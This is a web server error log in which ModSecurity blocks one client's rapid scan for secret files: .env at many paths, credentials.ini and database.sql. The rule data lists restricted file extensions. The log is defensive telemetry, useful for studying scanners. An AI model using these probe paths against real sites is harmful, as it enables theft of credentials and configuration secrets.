[Mon Oct 26 22:24:29.155111 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auALXXNS3DmvLoCS_mRi6wAAABg"]
[Mon Oct 26 22:24:29.155276 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auALXXNS3DmvLoCS_mRi6wAAABg"]
[Mon Oct 26 22:24:29.155587 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/config/.env"] [unique_id "auALXXNS3DmvLoCS_mRi6wAAABg"]
[Mon Oct 26 22:24:29.155916 2026] [proxy_fcgi:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:24:29.210987 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auALXeNHR3WH6txPzi7mIgAAAA0"]
[Mon Oct 26 22:24:29.211199 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auALXeNHR3WH6txPzi7mIgAAAA0"]
[Mon Oct 26 22:24:29.211570 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "auALXeNHR3WH6txPzi7mIgAAAA0"]
[Mon Oct 26 22:24:29.221265 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auALXXfB5_cr2AuVp7R32wAAABA"]
[Mon Oct 26 22:24:29.221597 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auALXXfB5_cr2AuVp7R32wAAABA"]
[Mon Oct 26 22:24:29.221843 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/credentials.ini"] [unique_id "auALXXfB5_cr2AuVp7R32wAAABA"]
[Mon Oct 26 22:24:29.230500 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "beta.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auALXXNS3DmvLoCS_mRi7AAAABg"]
[Mon Oct 26 22:24:29.230729 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auALXXNS3DmvLoCS_mRi7AAAABg"]
[Mon Oct 26 22:24:29.231052 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/database.sql"] [unique_id "auALXXNS3DmvLoCS_mRi7AAAABg"]
[Mon Oct 26 22:24:29.234051 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auALXUV4AUzwl86DWirnMgAAABI"]
[Mon Oct 26 22:24:29.234183 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auALXUV4AUzwl86DWirnMgAAABI"]
[Mon Oct 26 22:24:29.234433 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auALXUV4AUzwl86DWirnMgAAABI"]
[Mon Oct 26 22:24:29.234529 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auALXUV4AUzwl86DWirnMgAAABI"]
[Mon Oct 26 22:24:29.234546 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "beta.sherwinpinturas.com"] [uri "/demo/.env"] [unique_id "auALXUV4AUzwl86DWirnMgAAABI"]
[Mon Oct 26 22:24:29.235690 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auALXeFUQe6HxVFzxpduxwAAAAA"]
[Mon Oct 26 22:24:29.235829 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auALXeFUQe6HxVFzxpduxwAAAAA"]
[Mon Oct 26 22:24:29.236087 2026] [security2:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "auALXeFUQe6HxVFzxpduxwAAAAA"]
[Mon Oct 26 22:24:29.305910 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auALXXNS3DmvLoCS_mRi7QAAABg"]
[Mon Oct 26 22:24:29.306048 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auALXXNS3DmvLoCS_mRi7QAAABg"]
[Mon Oct 26 22:24:29.306259 2026] [security2:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "auALXXNS3DmvLoCS_mRi7QAAABg"]
[Mon Oct 26 22:24:29.313193 2026] [proxy_fcgi:error] [pid 3143276:tid 3143276] [client 35.205.254.119:33534] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:24:29.323828 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auALXZwShtd1X0LKqV8TUwAAABM"]
[Mon Oct 26 22:24:29.330492 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auALXZwShtd1X0LKqV8TUwAAABM"]
[Mon Oct 26 22:24:29.330777 2026] [security2:error] [pid 3142606:tid 3142606] [client 35.205.254.119:33502] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "auALXZwShtd1X0LKqV8TUwAAABM"]
[Mon Oct 26 22:24:29.363953 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /media/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auALXeNHR3WH6txPzi7mJAAAAA0"]
[Mon Oct 26 22:24:29.364163 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auALXeNHR3WH6txPzi7mJAAAAA0"]
[Mon Oct 26 22:24:29.364481 2026] [security2:error] [pid 3142581:tid 3142581] [client 35.205.254.119:33536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/media/.env"] [unique_id "auALXeNHR3WH6txPzi7mJAAAAA0"]
[Mon Oct 26 22:24:29.373054 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /new/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auALXVEGzjBJO_o-KWJAgAAAAAw"]
[Mon Oct 26 22:24:29.373238 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auALXVEGzjBJO_o-KWJAgAAAAAw"]
[Mon Oct 26 22:24:29.373509 2026] [security2:error] [pid 3142580:tid 3142580] [client 35.205.254.119:33512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/new/.env"] [unique_id "auALXVEGzjBJO_o-KWJAgAAAAAw"]
[Mon Oct 26 22:24:29.374538 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /old/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auALXXfB5_cr2AuVp7R33QAAABA"]
[Mon Oct 26 22:24:29.374738 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auALXXfB5_cr2AuVp7R33QAAABA"]
[Mon Oct 26 22:24:29.375109 2026] [security2:error] [pid 3142595:tid 3142595] [client 35.205.254.119:33484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/old/.env"] [unique_id "auALXXfB5_cr2AuVp7R33QAAABA"]
[Mon Oct 26 22:24:29.381731 2026] [proxy_fcgi:error] [pid 3142612:tid 3142612] [client 35.205.254.119:33486] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:24:29.385758 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auALXUV4AUzwl86DWirnNAAAABI"]
[Mon Oct 26 22:24:29.385925 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auALXUV4AUzwl86DWirnNAAAABI"]
[Mon Oct 26 22:24:29.386137 2026] [security2:error] [pid 3142605:tid 3142605] [client 35.205.254.119:33518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/production/.env"] [unique_id "auALXUV4AUzwl86DWirnNAAAABI"]
